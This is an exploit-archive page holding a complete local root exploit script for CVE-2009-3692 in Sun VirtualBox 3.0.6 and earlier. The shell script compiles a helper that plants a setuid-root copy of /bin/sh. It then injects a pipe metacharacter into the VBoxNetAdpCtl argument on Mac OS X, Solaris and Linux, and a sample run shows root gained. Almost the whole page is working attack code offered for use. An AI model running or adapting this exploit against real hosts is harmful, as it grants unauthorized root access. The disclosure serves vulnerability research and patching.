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packetstormPrdelkaPACKETSTORM:82055
HistoryOct 17, 2009 - 12:00 a.m.

Sun VirtualBox 3.0.6 Local Root

2009-10-1700:00:00
prdelka
packetstormsecurity.com
17

0.0004 Low

EPSS

Percentile

0.4%

`#!/bin/sh  
# CVE-2009-3692 Sun VirtualBox <= 3.0.6 local root exploit   
# ========================================================  
# Exploits popen() meta char shell injection vulnerability  
# in Sun VirtualBox.  
#   
# E.g.  
# admin@sundevil:~/test$ id  
# uid=101(admin) gid=10(staff) groups=10(staff)  
# admin@sundevil:~/test$ uname -a  
# SunOS sundevil 5.11 snv_111b i86pc i386 i86pc Solaris  
# admin@sundevil:~/test$ ./prdelka-vs-SUN-virtualbox.sh   
# [ Sun VirtualBox <= 3.0.6 OSX/SOL/LINUX local root exploit  
# [ No path provided, will attempt to exploit system default  
# [ Places a root shell in ./sh if succesful  
# [ Detected a SunOS target  
# [ Detected SunOS is x86 platform  
# ifconfig: add: bad address  
# [ Trying for root shell.  
# # id  
# uid=101(admin) gid=10(staff) euid=0(root) egid=0(root) groups=10(staff)  
#  
# -- prdelka   
cat >> runme.c << EOF  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
  
int main(int argc, char* argv[]){  
FILE *from, *to;  
int fd;  
char ch;  
setuid(0);  
setgid(0);  
from = fopen("/bin/sh","rb");  
to = fopen("./sh","wb");  
while(!feof(from)){  
ch = fgetc(from);  
if(!feof(from))  
fputc(ch, to);  
}  
fclose(from);  
fclose(to);  
fd = open("./sh",O_RDWR);  
fchown(fd,0,0);  
fchmod(fd,S_IRWXU|S_IRWXG|S_IRWXO|S_ISUID|S_ISGID);  
close(fd);   
exit(0);  
}  
EOF  
gcc runme.c -o runme 2>/dev/null  
rm -rf runme.c  
cat >> exploit.c << EOF  
/*  
CVE-2009-3692 VirtualBox VBoxNetAdpCtl Privilege Escalation  
===========================================================  
Local exploit for the popen() meta character shell injection  
vulnerability that permits a malicious user to obtain root  
privileges on the VirtualBox host machine. This exploit relies  
on the "/bin/sh" binary on the host as being a non-privilege  
dropping shell such as zsh, this is not always the OS default  
setting.  
  
Most modern platforms do not have a /bin/sh that retains   
privileges by default however Solaris still seems to!  
  
You can provide an arguement to the VBoxNetAdpCtl binary   
path or alternatively this exploit detects local host platform  
and runs with common or default installation location.  
*/  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/utsname.h>  
  
int main(int argc,char* argv[])  
{  
char *env[] = {NULL};  
int platform, machine = 0;  
struct utsname* sysdetail = malloc(sizeof(struct utsname));  
printf("[ Sun VirtualBox <= 3.0.6 OSX/SOL/LINUX local root exploit\n");  
if(argc > 1){  
printf("[ Trying %s\n", argv[1]);  
execle(argv[1],argv[1],"vboxnet0|./runme","1::2",NULL,env);  
exit(0);  
}  
else{  
printf("[ No path provided, will attempt to exploit system default\n");  
}  
printf("[ Places a root shell in ./sh if succesful\n");  
uname(sysdetail);  
if(!strncmp("Darwin",sysdetail->sysname,strlen("Darwin")))  
platform = 1;  
if(!strncmp("SunOS",sysdetail->sysname,strlen("SunOS")))   
platform = 2;   
if(!strncmp("Linux",sysdetail->sysname,strlen("Linux")))   
platform = 3;  
switch(platform){  
case 1:  
printf("[ Detected a Mac OS X target\n");  
execle("/Applications/VirtualBox.app/Contents/MacOS/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);  
break;  
case 2:  
printf("[ Detected a SunOS target\n");  
if(!strncmp("i86pc",sysdetail->machine,strlen("i86pc"))){  
printf("[ Detected SunOS is x86 platform\n");  
execle("/opt/VirtualBox/i386/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);  
}  
else{  
printf("[ Guessing SunOS is amd64 platform\n");  
execle("/opt/VirtualBox/amd64/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);  
}  
break;  
case 3:  
printf("[ Detected a Linux target\n");  
execle("/opt/VirtualBox/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);  
break;  
default:  
printf("[ Unknown OSE target. Try ./%s <path>/VBoxNetAdpCtl\n",argv[0]);  
break;  
}  
exit(0);  
}  
EOF  
gcc exploit.c -o exploit 2>/dev/null  
rm -rf exploit.c  
if [ $1 ]  
then  
./exploit $1  
else  
./exploit  
fi  
echo [ Trying for root shell.  
./sh  
`